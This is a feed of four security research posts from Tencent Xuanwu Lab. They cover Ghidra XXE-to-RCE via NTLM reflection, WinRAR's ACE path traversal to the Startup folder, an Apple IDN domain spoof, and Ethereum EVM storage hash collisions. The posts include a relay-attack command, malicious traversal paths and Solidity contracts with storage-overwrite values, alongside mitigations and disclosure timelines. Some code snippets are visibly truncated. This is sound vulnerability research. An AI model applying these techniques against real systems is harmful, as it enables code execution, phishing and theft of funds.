Tencent Security Xuanwu Lab //xlab.tencent.com/en Mon, 18 Mar 2019 10:36:39 +0000 en-US hourly 1 https://wordpress.org/?v=4.9.1 Ghidra From XXE to RCE //xlab.tencent.com/en/2019/03/18/ghidra-from-xxe-to-rce/ Mon, 18 Mar 2019 10:21:19 +0000 //xlab.tencent.com/en/?p=255 Continue reading "Ghidra From XXE to RCE"]]> Authors: tomato, salt of Tencent Security Xuanwu Lab

0x00 Background

Ghidra is a generic disassembler and decompiler released by the NSA. It attracted wide interest from the security community.
Security researchers have since found an XXE vulnerability in the Ghidra project loading process.
Based on our prior research on XXE vulnerability exploitation, we found that attackers can abuse Java features and weaknesses in NTLM protocol in Windows operating system to achieve remote code execution.

0x01 Technical Details

When sending HTTP requests using Java built-in class sun.net.www.protocol.http.HttpURLConnection, it will automatically determine authentication method when encounters a 401 status code.
If authentication method is NTLM, it will automatically authenticate using current user credentials.
The root cause is Java on Windows enables transparent NTLM authentication by default, and treats all URL as trusted, as shown in the following code block.

if (tryTransparentNTLMServer) {
    tryTransparentNTLMServer =
    /* If the platform supports transparent authentication
     * then check if we are in a secure environment
     * whether, or not, we should try transparent authentication.*/
    if (tryTransparentNTLMServer) {
        tryTransparentNTLMServer =

Inside NTLMAuthenticationProxy.isTrustedSite method

public static boolean isTrustedSite(URL url) {
    try {
        return (Boolean)isTrustedSite.invoke(null, url);
    } catch (ReflectiveOperationException roe) {

    return false;

It calls isTrustedSite method in sun.net.www.protocol.http.ntlm.NTLMAuthentication using reflection, which trusts all URLs.
Attackers can deploy a HTTP Server with NTLM authentication to gather Net-NTLM Hash of current user.
The NTLM authentication protocol has weaknesses.

There is a well-known NTLM Relay attack, which has been widely discussed and not in the scope of this article.
In our scenario, we use a credential reflection attack, which relays victim’s Net-NTLM Hash back to victim.

Let’s look at the details.
Attacker first deploy a HTTP server with NTLM authentication enabled. And use an XXE/SSRF vulnerability to force a NTLM authentication from the victim.
It worth noticing that the NTLM has two versions, NTLMv1 and NTLMv2.
When authenticating with NTLMv1, attacker can directly relay the Net-NTLM Hash to the victim’s SMB service.
In the SMBv2 case, attacker must first modify the Negotiate Flags in the Type 2 Message to unset Negotiate Always Sign and Negotiate 0x00004000 flags.
This transforms it from local authentication to network authentication, and also strips the signature.

We wrote a proof of concept script to demonstrate this attack.

0x03 Reproduction

Oracle JDK 8u161, Windows 10, Administrator

Ubuntu 16.04, IP

First execute script on attacker’s machine

python ultrarelay.py -ip -smb2support

The script will serve HTTP requests on port 80.

Make a new Ghidra project. Edit the project file project.prp to insert a XXE exploit, as shown below:

When victim use Ghidra to open this malicious project, attacker can obtain NTLM Hash from the victim’s machine, therefore execute arbitrary command on victim’s machine.

0x04 Mitigations

  1. Use Windows Firewall to block incoming SMB requests.

  2. If SMB server is required, enable SMB Sign.

  3. Upgrade to latest version of JDK

0x05 References



Investigating WinRAR Code Execution Vulnerability (CVE-2018-20250) at Internet Scale //xlab.tencent.com/en/2019/02/22/investigating-winrar-code-execution-vulnerability-cve-2018-20250-at-internet-scale/ Fri, 22 Feb 2019 12:15:35 +0000 //xlab.tencent.com/en/?p=242 Continue reading "Investigating WinRAR Code Execution Vulnerability (CVE-2018-20250) at Internet Scale"]]> Authors: lywang, dannywei

0x00 Background

As one of the most popular archiving software, WinRAR supports compress and decompress of multiple file archive formats. Check Point security researcher Nadav Grossman recently discovered a series of security vulnerabilities he found in WinRAR, with most powerful one being a remote code execution vulnerability in ACE archive decompression module (CVE-2018-20250).
To support decompression of ACE archives, WinRAR integrated a 19-year-old dynamic link library unacev2.dll, which never updated since 2006, nor does it enable any kind of exploit mitigation technologies. Nadav Grossman uncovered a dictionary traversal bug in unacev2.dll, which could allow an attacker to execute arbitrary code or leak Net-NTLM hashes.

0x01 Description

ACE archive decompression module unacev2.dll fails to properly filter relative paths when validating target path. Attacker can trick the program to directly use a relative path as target path. By placing malicious executable in system startup folder, it can lead to arbitrary code execution.

0x02 Root Cause

unacev2.dll validates destination path before extracting files from ACE archives. It gets file_relative_path from archive file and use GetDevicePathLen(file_relative_path) to validate the path. The path concatenation is performed according to return value of the function, as shown in following diagram:

(Source: https://research.checkpoint.com/extracting-code-execution-from-winrar/)

When GetDevicePathLen(file_relative_path) returns 0, it will concatenate target path with relative path in archive to form a final path:

sprintf(final_file_path, "%s%s", destination_folder, file_relative_path);

Otherwise, it directly uses relative path as the final path:

sprintf(final_file_path, "%s%s", "", file_relative_path);

if an attacker can craft a malicious relative path that can bypass multiple filter and validation functions such as StateCallbackProc(), unacev2.dll!CleanPath(), and make unacev2.dll!GetDevicePathLen(file_relative_path) return a non-zero value, the malicious relative path will be used as final path for decompression.

Nadav Grossman successfully crafted two such paths:

# Malicious Path Final Path
1 C:\C:\some_folder\some_file.ext C:\some_folder\some_file.ext
2 C:\\\smb_folder_name\some_folder\some_file.ext \\smb_folder_name\some_folder\some_file.ext

Variation 1: Attacker can place a file at arbitrary path on victim’s computer.
Variation 2: Attacker can steal victim’s Net-NTLM hash. Attacker can then perform a NTLM relay attack to execute code on victim’s computer.

It is worth mentioning that WinRAR runs at normal user privilege. Therefore, an attacker cannot place a file in the common startup folder (“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”). Placing a file in user startup folder (“C:\Users\<user name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”) requires guessing or brute-forcing a valid user name.
However, in most common scenarios, where victims download archive file to Desktop (C:\Users\<user name>\Desktop) or Downloads (C:\Users\<user name>\Downloads) folder then extract the archive file in-place, the working directory of WinRAR is the same as the archive file. By using directory traversal, attacker can release payload to Startup folder without guessing a user name. Nadav Grossman crafted the following path to build a remote code execution exploit:

"C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"

0x03 Affected Software

As a shared library, unacev2.dll is also used by other software that supports ACE file decompression. These software are also affected by this vulnerability.
Our Project A’Tuin system scans software at internet scale. We scanned through all software that used this shared library. The following diagram shows the version distribution of this library:

Project A’Tuin can also traces shared libraries back to their dependent software. We currently observe that 15 Chinese software and 24 non-Chinese software are affected.
Most of them can be categorized as utility software. Among them there are at least 9 file archivers, and 8 file explorer / commanders. Many other software seems to simply include unacev2.dll module as part of WinRAR package, for its own file decompression usage.

0x04 Mitigations

WinRAR released version 5.70 Beta 1 to patch this vulnerability. Since the vendor of unacev2.dll was out of business in August 2017 and it is a closed source product, WinRAR decided to remove ACE decompression feature from WinRAR entirely.
360Zip has also patched this vulnerability by removing unacev2.dll.
For users of other affected products, we suggest contacting the vendor for updated versions. If no updated version is available, users can temporarily work around this vulnerability by removing unacev2.dll from installation directory.

0x05 References

[1] Extracting a 19 Year Old Code Execution from WinRAR https://research.checkpoint.com/extracting-code-execution-from-winrar/

[2] ACE (compressed file format) https://en.wikipedia.org/wiki/ACE_(compressed_file_format)

Spoof All Domains Containing ‘d’ in Apple Products [CVE-2018-4277] //xlab.tencent.com/en/2018/11/13/cve-2018-4277/ Tue, 13 Nov 2018 07:53:50 +0000 //xlab.tencent.com/en/?p=213 Continue reading "Spoof All Domains Containing ‘d’ in Apple Products [CVE-2018-4277]"]]> During this time I have been researching security issues on the browser front end, and I have found dozens of vulnerabilities in browsers such as Chrome, Safari, and Firefox. Unicode visual security and IDN homograph attack have also been the subject of my research.

Evil U+A771

In my research, I found Latin small letter dum (U+A771) glyph is very similar to Latin small letter D (U+0064) in Apple products. From the glyph standard of Unicode (U+A771), we can see that there should be a small apostrophe after d, but this is completely ignored in Apple products.

Register icloud.com

Next, I want to register a real domain name, so that the IDN Spoof can run normally. As everyone knows that in Verisign’s IDN registration rules, mixed Unicode scripts are not allowed to register. If IDN contains two or more Unicode script code, it will refuse to register. Fortunately (U+A771) also belongs to Latin, should be consistent with the domain name registrar rule. So, everything is ok, I successfully registered the domain name.

Next I registered a SSL certificate to make this IDN Spoof look more real and perfect. The effect is as follows: Chrome / Firefox / Edge browser uses punycode to display this domain name, but Safari does not.

Spoof 1/4 of Top 10K domains

At this point, we have determined that the whole deception process is completely feasible, so an attacker can spoof all domain names containing ‘d’ character. In the Google Top 10K domain name, about 25% of the website domain names have ‘d’ character that can be spoofed.

• linkedin.com
• baidu.com
• jd.com
• adobe.com
• wordpress.com
• dropbox.com
• godaddy.com
• reddit.com
• …………

Video demo

Apple patch

Affected products

Apple watchOS before 4.3.2 https://support.apple.com/zh-cn/HT208935
Apple iOS before 11.4.1 https://support.apple.com/zh-cn/HT208938
Apple tvOS before 11.4.1 https://support.apple.com/zh-cn/HT208936
Apple macOS High Sierra before 10.13.5 https://support.apple.com/zh-cn/HT208937

Disclosure Timeline

2018.4.2 Provide vulnerability detail to Apple via product-security@apple.com
2018.4.2 Apple automatic reply
2018.4.3 Apple responded that they confirmed this issue
2018.5.24 Apple responded that they discovered an additional affected component, postponing patch releases.
2018.6.27 Apple responded that the issue had already been fixed, the security update is targeted for release the week of July 09, 2018.
2018.7.4 Apple responded that they had assigned CVE-2018-4277 to the issue
2018.7.9 Apple advisory Updated
2018.11. vulnerability disclosure.


idn visual security deep thinking

Pay attention to the Ethereum hash collision problem from the “Stealing coins” incident //xlab.tencent.com/en/2018/11/09/pay-attention-to-the-ethereum-hash-collision-problem-from-the-stealing-coins-incident/ Fri, 09 Nov 2018 04:15:37 +0000 //xlab.tencent.com/en/?p=202 Continue reading "Pay attention to the Ethereum hash collision problem from the “Stealing coins” incident"]]> Author : Kai Song(exp-sky) , hearmen , salt , sekaiwu of Tencent Security Xuanwu Lab

“Stealing coins”

On November 6th, we observed that such a contract appeared on Ethereum. After investigation, it was found that a blockchain security vendor issued a contract to let everyone “Stealing coins”.

pragma solidity ^0.4.21;
contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;
    constructor(address addr) payable{
        token = ERC20(addr);
    function (){
            //airdrop is over

            if (map.length <= uint256(msg.sender)) {
                map.length = uint256(msg.sender) + 1;
            map[uint256(msg.sender)] = 1;  

    //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
    function guess(uint256 x,uint256 blockNum) public payable {
        require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
        if (map.length <= uint256(msg.sender)+x) {
            map.length = uint256(msg.sender)+x + 1;

        map[uint256(msg.sender)+x] = blockNum;
    //Run a lottery
    function lottery(uint256 x) public {
        require(block.number > map[uint256(msg.sender)+x]);
        uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;
        if (x == answer) {

After observing, we found the security issue of an EVM storage we studied earlier in this contract, namely the hash collision problem in EVM storage.

First, for the above contract, if x == uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x)))))))), the ether in the contract can be obtained in the lottery method. But the value of x can only be obtained through constant guessing, and the probability is minimal.

Then, we found that in the fallback function of the contract, there is also a selfdestruct function that can help us complete the “Stealing coins” task, but requires the balance of this contract address in the token contract to be 0.

Based on our previous analysis of EVM storage, we found that there is an assignment to the arbitrary offset of the map type data in the guess function map[uint256(msg.sender)+x] = blockNum;.Because in EVM, the data storage in the map type which’s address is calculated as address(map_data) = sha(key,slot)+offset, which causes an arbitrary address to be written. If we can overwrite the token variable, we can write the contract we constructed to the token, guaranteeing The DVPgame contract has a balance of 0 in our construction contract, so that the selfdestruct function of the DVPgame contract can be executed to complete the “Stealing coins”.

The address of the token variable is 0. This value can be reached after overflow. That is, we need to construct sha(msg.sender, slot)+x==2**256 (after overflow it will be 0).

In-depth analysis

In fact, as early as the end of June, after preliminary research on ETH and its runtime environment EVM, we have found some problems at the contract level and the virtual machine level respectively. Variable coverage and Hash collision problems are very typical two examples.

Variable coverage

In some contracts, we have found that modifying temporary variables of type struct inside a function will overwrite existing global variables in some cases.

pragma solidity ^0.4.23; 
contract Locked {
    bool public unlocked = false;    
    struct NameRecord { 
        bytes32 name;
        address mappedAddress;
    mapping(address => NameRecord) public registeredNameRecord; 
    mapping(bytes32 => address) public resolve;
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

The source code of the contract is as shown above. Under normal circumstances, since the contract does not provide an interface to modify the unlocked, it is unlikely to modify it. But in fact, we found in the test that you can modify unlocked by calling the register method of the contract.

Hash collision

After analyzing the storage structure of EVM, we found that in the design of EVM, potential hash collisions may occur when storing some complex variables, overwriting existing variables, and generating unpredictable problems.

pragma solidity ^0.4.23; 

contract Project
    mapping(address => uint) public balances; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    uint[] stateVar;

    function Resolve() returns (bytes32){
        balances[msg.sender] = 10000000;   
        return sha3(bytes32(msg.sender),bytes32(0));

    function Resize(uint i){
        stateVar.length = i;

    function Rewrite(uint i){
        stateVar[i] = 0x10adbeef; 


The above code has a similar hash collision problem. Looking at the contract source code, you can see that the balances field can only be accessed through the Reslove interface. Under normal circumstances, the value stored in balance cannot be modified. But in this contract, calling the function Rewrite may overwrite the data in balances when operating on stateVar.

background analysis

There are three ways to store in EVM, namely memory, storage, and stack.

  1. memory: life cycle is only during the execution of the entire method, the function is recycled after the call, because only the temporary variables are saved, so the GAS overhead is very small
  2. storage : permanently stored in the blockchain, GAS overhead is also the largest because the contract state variables are permanently saved.
  3. stack : store some local value type variables, almost free memory, but there are a limit

First, let’s analyze the storage and access of various object structures in EVM.


First analyze the storage of map

    struct NameRecord { 
        bytes32 name; 
        address mappedAddress;
    mapping(bytes32 => address) public resolve; 
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;

When we debug the map structure in storage, we find that the storage address of the data in the map is actually the hash value of map.key and the map_slot where the map is located. This value is a uint256. which is

address(map_data) = sha(key,slot) 

And we also found that if the data stored in the map is a structure, the members in the structure are sequentially stored in the storage, and the storage location is sha(key, slot) + offset.That is, the member is directly the offset in the structure is added to the previously calculated hash value as the storage location.

This hash + offset struct storage method directly causes the hash of the sha3 algorithm to lose its meaning. In some cases, it produces sha(key1,slot) + offset == sha(key2,slot), which is a hash collision.


Next, let’s take a look at the Array.

A fixed-length Array of global variables found in debugging is arranged in storage in the order of index.

If we use the new keyword to request a variable-length array, look at its runtime storage

    function GetSome() returns(uint){
        stateVar = new uint[](2);
        stateVar[1] = 0x10adbeef;
        //stateVar = [1,2,4,5,6]; // This way is the same as `new` method
        return stateVar[1];

Debugging found that if it is a variable length array, the storage location of the array member is selected according to the hash value, and the storage location of the array is sha3(address(array_object))+index. The slot in the array itself is only the length of the array, so it is well understood why variable-length arrays stored in storage can be incremented by adjusting the length property.

Variable-length arrays are still stored in the same way as hash + offset. There is also the possibility of a hash collision.

Array + Struct

If the array and struct are combined, how will the index of the data in storage be determined?

    struct Person {
        address[] addr;
        uint funds;
    mapping(address => Person) public people;   
    function f() {
        Person p;
        p.addr = [0xca35b7d915458ef540ade6068dfe2f44e8fa733c,0x14723a09acff6d2a60dcdf7aa4aff308fddc160c];
        p.funds = 0x10af;

        people[msg.sender] = p;

The object of type Person p which’s first member is a dynamic array addr. When storing p object, first store the dynamic array in the map:

storage[hash(msg_sender,people_slot)] = storage[p+slot]

Then store the dynamic array contents in turn:

storage[hash(hash(msg_sender,people_slot))] = storage[hash(p_slot)]; storage[hash(hash(msg_sender,people_slot))+1] = storage[hash(p_slot)+1];

Finally store funds:


Similarly, the struct storage in the array is similar.

problem analysis

Variable coverage

pragma solidity ^0.4.23; 
contract Locked {
    bool public unlocked = false;    
    struct NameRecord { 
        bytes32 name;
        address mappedAddress;
    mapping(address => NameRecord) public registeredNameRecord; 
    mapping(bytes32 => address) public resolve;
    function register(bytes32 _name, address _mappedAddress) public {
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 
        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

The unlocked variable in this contract is stored in an offset of 1 in storage. In the debugging, it is found that the index position of the newRecord object in the storage part is also 0, which overlaps with the global unlocked, so when accessing newRecord, it will be modified to unlocked.

In debugging, we found that all temporary variables are stored from the 0 position of storage. If we set a few temporary variables, we will find that all temporary variables have a slot value of 0 when the function starts to select the slot.


We download the source code of the solidity compiler to view the reasons for the problem here. The source code can be found here, compile the source code directly using cmake, compile tutorial. The source code for solidity needs to reference the boost library. If it is not installed before, you need to install boost first. The compilation process will not be described again, and will eventually generate three executable files (the compilation on Windows will be a bit problematic, the dependent header files can’t be added automatically to the project, you need to add them manually, and there will be some characters to express the problem)

  • solc\solc
  • lllc\lllc
  • test\soltest

Solc can compile sol source code into bytecode that EVM can run.

Debug Solc to see the compilation of the struct as a temporary variable

contract Project
    uint a= 12345678;
    struct Leak{
        uint s1;
    function f(uint i) returns(uint) {
        Leak l;
        return l.s1;


The key code call stack is as follows

>   solc.exe!dev::solidity::ContractCompiler::appendStackVariableInitialisation(const dev::solidity::VariableDeclaration & _variable) Line 951  C++
    solc.exe!dev::solidity::ContractCompiler::visit(const dev::solidity::FunctionDefinition & _function) Line 445   C++
    solc.exe!dev::solidity::FunctionDefinition::accept(dev::solidity::ASTConstVisitor & _visitor) Line 206  C++
    solc.exe!dev::solidity::ContractCompiler::appendMissingFunctions() Line 870 C++
    solc.exe!dev::solidity::ContractCompiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts) Line 75  C++
    solc.exe!dev::solidity::Compiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts, const std::vector<unsigned char,std::allocator<unsigned char> > & _metadata) Line 39 C++
    solc.exe!dev::solidity::CompilerStack::compileContract(const dev::solidity::ContractDefinition & _contract, std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _compiledContracts) Line 730  C++
    solc.exe!dev::solidity::CompilerStack::compile() Line 309   C++
    solc.exe!dev::solidity::CommandLineInterface::processInput() Line 837   C++
    solc.exe!main(int argc, char * * argv) Line 59  C++

The key function is appendStackVariableInitialisation. You can see that the call to pushZeroValue records temporary variable information. If the function finds that value exists in Storage, then directly press PUSH 0 and press 0 directly. All temporary variables pass this path. In other words, all temporary variables are 0.

void ContractCompiler::appendStackVariableInitialisation(VariableDeclaration const& _variable)
    CompilerContext::LocationSetter location(m_context, _variable);

I still can’t understand the reason for this design. The guess may be because of the sparse array relationship of storage itself. It is not convenient to control the slot position by other extra variables. However, with the current implementation, the problem should be more.

Compiled with the global variables, the function call stack is as follows

>   solc.exe!dev::solidity::ContractCompiler::initializeStateVariables(const dev::solidity::ContractDefinition & _contract) Line 403    C++
    solc.exe!dev::solidity::ContractCompiler::appendInitAndConstructorCode(const dev::solidity::ContractDefinition & _contract) Line 146    C++
    solc.exe!dev::solidity::ContractCompiler::packIntoContractCreator(const dev::solidity::ContractDefinition & _contract) Line 165 C++
    solc.exe!dev::solidity::ContractCompiler::compileConstructor(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts) Line 89   C++
    solc.exe!dev::solidity::Compiler::compileContract(const dev::solidity::ContractDefinition & _contract, const std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _contracts, const std::vector<unsigned char,std::allocator<unsigned char> > & _metadata) Line 44 C++
    solc.exe!dev::solidity::CompilerStack::compileContract(const dev::solidity::ContractDefinition & _contract, std::map<dev::solidity::ContractDefinition const *,dev::eth::Assembly const *,std::less<dev::solidity::ContractDefinition const *>,std::allocator<std::pair<dev::solidity::ContractDefinition const * const,dev::eth::Assembly const *> > > & _compiledContracts) Line 730  C++
    solc.exe!dev::solidity::CompilerStack::compile() Line 309   C++
    solc.exe!dev::solidity::CommandLineInterface::processInput() Line 837   C++
    solc.exe!main(int argc, char * * argv) Line 59  C++

The key function is StorageItem::StorageItem , the function gets the slot of the global variable in storage from storageLocationOfVariable

StorageItem::StorageItem(CompilerContext& _compilerContext, VariableDeclaration const& _declaration):
    StorageItem(_compilerContext, *_declaration.annotation().type)
    auto const& location = m_context.storageLocationOfVariable(_declaration);
    m_context << location.first << u256(location.second);

Hash collision

As mentioned earlier, smart contracts using struct and array have the potential for a hash collision.

In general, the hash returned by the sha3 method will not collide, but there is no guarantee that hash(mem1)+n will not conflict with other hash(mem2). For example, there are two map.

struct Account{
    string name;
    uint ID;
    uint amount;
    uint priceLimit;
    uint total;

map<address, uint> balances;     // slot 0  
map<string, Account> userTable;    // slot 1

Calculate sha3(key1,0) = hash1; Storage[hash1] = value1 when storing balances[key1] = value1.

Calculate sha3(key2,1) = hash2; when storing userTable[key2] = account.

Hash1 and hash2 are not the same, but hash1 and hash2 are likely to be adjacent, with a small difference, we assume that they differ by 4 .

At this time, when the account is actually stored, Account.name, Account.ID, Account.amount, Account.priceLimit, and Account.total are stored in storage in the hash2, hash2+1, hash2+2, hash2+3, and hash2+4 position. And hash2+4 is exactly equal to hash1 , then the value of Account.totalwill overwrite the content value1 previously stored in balances.

However, it is only theoretically possible to attack by struct. It is very difficult to find sha3 with a small difference in practice. But if you turn the problem into array, it’s possible to achieve a real attack.

Because in array, the length of the array is controlled by the data stored in the first byte of the array object, as long as the value is large enough, the attacker can override the hash data of any gap.

pragma solidity ^0.4.23; 
contract Project
    mapping(address => uint) public balances; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    uint[] stateVar;

    function Resolve() returns (bytes32){
        balances[msg.sender] = 10000000;   // 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c ->  0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d 

        return sha3(bytes32(msg.sender),bytes32(0));

    function Resize(uint i){
        stateVar.length = 0x92b6e4f83ec43f4bc9069880e92f6ea53e45d964038b04cc518a923857c1b79c; // 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace

    function Rewrite(uint i){
        stateVar[i] = 0x10adbeef; // 0x11a3a8a4f412d6fcb425fd90f8ca757eb40f014189d800d449d4e6c6cec4ee7f = 0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace


The current sender address is 0x14723a09acff6d2a60dcdf7aa4aff308fddc160c , and the balance[msg.sender] location is 0x51fb309f06bafadda6dd60adbce5b127369a3463545911e6444ab4017280494d. Call the Resize method to modify the length of the array stateVar. The storage location of the array is 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace.

Finally call the contract method Rewrite assigns an value to the array, which overrides the contents of the balance and overwrites the value of the sender.

Actual memory

Finally, let’s take a look at the actual memory management. Regardless of how high-level technology of the Ethereum blockchain is, the memory needs to be settled. Ultimately, the data needs to be stored in the actual physical memory. So we actually analyze the storage of the storage part through the source code. The source code for EVM is at https://github.com/ethereum/cpp-ethereum

Process analysis

  1. The return value of EVM is passed through EVM. Generally, the return value address is stored at the memory offset 0x40. This address holds the true return value.
  2. Storage at the bottom of the implementation is an STL implementation sparse array, the slot value as a key to store the value

  3. Maps and variable-length Arrays in Storage are all based on the hash value as the index of the lowest-level sparse array. The variable length array is indexed as hash(array_slot) + index and the Map index is hash(map_slot, key). When Value is Struct, the Struct members are stored separately. The index of each member is hash(map_slot, key) +offset

Code analysis


The storage part of the memory is the memory stored in the block together with the contract code, so the storage memory consumes a relatively large amount of gas back. We use the SLOAD instruction to check how Storage is stored on the block.

The SLOAD instruction is processed in the function interpretCases. When the EVM resolves to the SLOAD instruction, it first gets the top element of the stack as the key of the storage access from the stack, and then calls the function getStorage for the actual access.

    case SLOAD:
            evmc_uint256be key = toEvmC(m_SP[0]);
            evmc_uint256be value;
            m_context->fn_table->get_storage(&value, m_context, &m_message->destination, &key);
            m_SPP[0] = fromEvmC(value);
evmc_context_fn_table const fnTable = {

The getStorage function receives four parameters, the first parameter is the return address, the second parameter is the context of the current call, the third parameter is the destination address of the transaction information, that is, the contract address, and the fourth parameter is the index of the storage,Key.

The function first verifies the address, ensuring that the current context is in the space of the contract address, and then calling env.store to actually get the data.

void getStorage(
    evmc_uint256be* o_result,
    evmc_context* _context,
    evmc_address const* _addr,
    evmc_uint256be const* _key
) noexcept
    (void) _addr;
    auto& env = static_cast<ExtVMFace&>(*_context);
    assert(fromEvmC(*_addr) == env.myAddress);
    u256 key = fromEvmC(*_key);
    *o_result = toEvmC(env.store(key));
    virtual u256 store(u256 _n) override final { return m_s.storage(myAddress, _n); }

The final work comes to State::storage

u256 State::storage(Address const& _id, u256 const& _key) const
    if (Account const* a = account(_id))
        auto mit = a->storageOverlay().find(_key);
        if (mit != a->storageOverlay().end())
            return mit->second;

        // Not in the storage cache - go to the DB.
        SecureTrieDB<h256, OverlayDB> memdb(const_cast<OverlayDB*>(&m_db), a->baseRoot());          // promise we won't change the overlay! :)
        string payload = memdb.at(_key);
        u256 ret = payload.size() ? RLP(payload).toInt<u256>() : 0;
        a->setStorageCache(_key, ret);
        return ret;
        return 0;

The function first gets the corresponding Account object based on address

Account* State::account(Address const& _addr)
    auto it = m_cache.find(_addr);   
    if (it != m_cache.end())
        return &it->second;

    if (m_nonExistingAccountsCache.count(_addr))  
        return nullptr;

    // Populate basic info.
    string stateBack = m_state.at(_addr);  
    if (stateBack.empty())
        return nullptr;


    RLP state(stateBack);  
    auto i = m_cache.emplace(
        std::forward_as_tuple(state[0].toInt<u256>(), state[1].toInt<u256>(), state[2].toHash<h256>(), state[3].toHash<h256>(), Account::Unchanged)
    return &i.first->second;  

The following comment is a description of the partial Account object, the Account object is used to represent the state of an Ethernet account, and the Account object and addr are stored in the State object through the Map. Each Account account contains a storage trie to index its nodes in the entire StateDB. Account’s operations on storage are first performed on the map of storageOverlay, and the data is updated to trie when needed later.

 * Models the state of a single Ethereum account.
 * Used to cache a portion of the full Ethereum state. State keeps a mapping of Address's to Accounts.
 * Aside from storing the nonce and balance, the account may also be "dead" (where isAlive() returns false).
 * This allows State to explicitly store the notion of a deleted account in it's cache. kill() can be used
 * for this.
 * For the account's storage, the class operates a cache. baseRoot() specifies the base state of the storage
 * given as the Trie root to be looked up in the state database. Alterations beyond this base are specified
 * in the overlay, stored in this class and retrieved with storageOverlay(). setStorage allows the overlay
 * to be altered.

Go back to the State::storage function. After getting the Account, check whether the value of the specified key is in the storageOverlay of the Account. If not, go to the DB to find it. Take Account->m_storageRoot as the root and get a db from State->m_db. Look in this tire‘s copy and format it after it is in m_storageOverlay.

It can be seen that before the actual data is synchronized to the block, EVM provides a level 2 cache mechanism for both storage and account to improve the efficiency of the memory:

  • storage: Level 1 cache -> account->m_storageOverlay; Level 2 cache -> state -> m_db
  • account: level 1 cache -> state -> m_cache; level 2 cache -> state -> m_state

Similarly, we start from the storage storage entry point SSTORE, the main function is VM::interpretCases, SSTORE opcode will eventually access a hash table of type unordered_map

void VM::interpretCases(){
        // .....
            if (m_message->flags & EVMC_STATIC)


            evmc_uint256be key = toEvmC(m_SP[0]);
            evmc_uint256be value = toEvmC(m_SP[1]);
            m_context->fn_table->set_storage(m_context, &m_message->destination, &key, &value);
        // .....

    evmc_context_fn_table const fnTable = {

    void setStorage(
        evmc_context* _context,
        evmc_address const* _addr,
        evmc_uint256be const* _key,
        evmc_uint256be const* _value
    ) noexcept
        (void) _addr;
        auto& env = static_cast<ExtVMFace&>(*_context);
        assert(fromEvmC(*_addr) == env.myAddress);
        u256 index = fromEvmC(*_key);
        u256 value = fromEvmC(*_value);
        if (value == 0 && env.store(index) != 0)                   // If delete
            env.sub.refunds += env.evmSchedule().sstoreRefundGas;  // Increase refund counter

        env.setStore(index, value);    // Interface uses native endianness

        void ExtVM::setStore(u256 _n, u256 _v)
            m_s.setStorage(myAddress, _n, _v);


            void State::setStorage(Address const& _contract, u256 const& _key, u256 const& _value)
                m_changeLog.emplace_back(_contract, _key, storage(_contract, _key));
                m_cache[_contract].setStorage(_key, _value);


                class Account{
                    // ...
                    std::unordered_map<u256, u256> m_storageOverlay;
                    // ...
                    void setStorage(u256 _p, u256 _v) { m_storageOverlay[_p] = _v; changed(); }
                    // ...


Still starting with MSTORE, see the processing of memory in EVM

            updateMem(toInt63(m_SP[0]) + 32);

            *(h256*)&m_mem[(unsigned)m_SP[0]] = (h256)m_SP[1];

It can be seen that memory is only valid in the current running environment, and is not stored in any position related to state, so memory is only valid in the current running environment, that is, Memory only takes effect in one transaction.


Code is similar to storage and is also related to Account, so code is also stored in the corresponding structure of Account, the first level cache is account->m_codeCache; the second level cache is stored in state->m_db[codehash]

void State::setCode(Address const& _address, bytes&& _code)
    m_changeLog.emplace_back(_address, code(_address));


Although the problem of hash collisions appears in a CTF-like “Stealing coins” competition, we should also pay attention to variable coverage and hash collisions due to EVM storage design issues. I hope that developers of smart contracts will In the development, we pay attention to the data storage in the code to avoid the loss caused by such problems.


June 28th – found variable coverage and hash collision problems
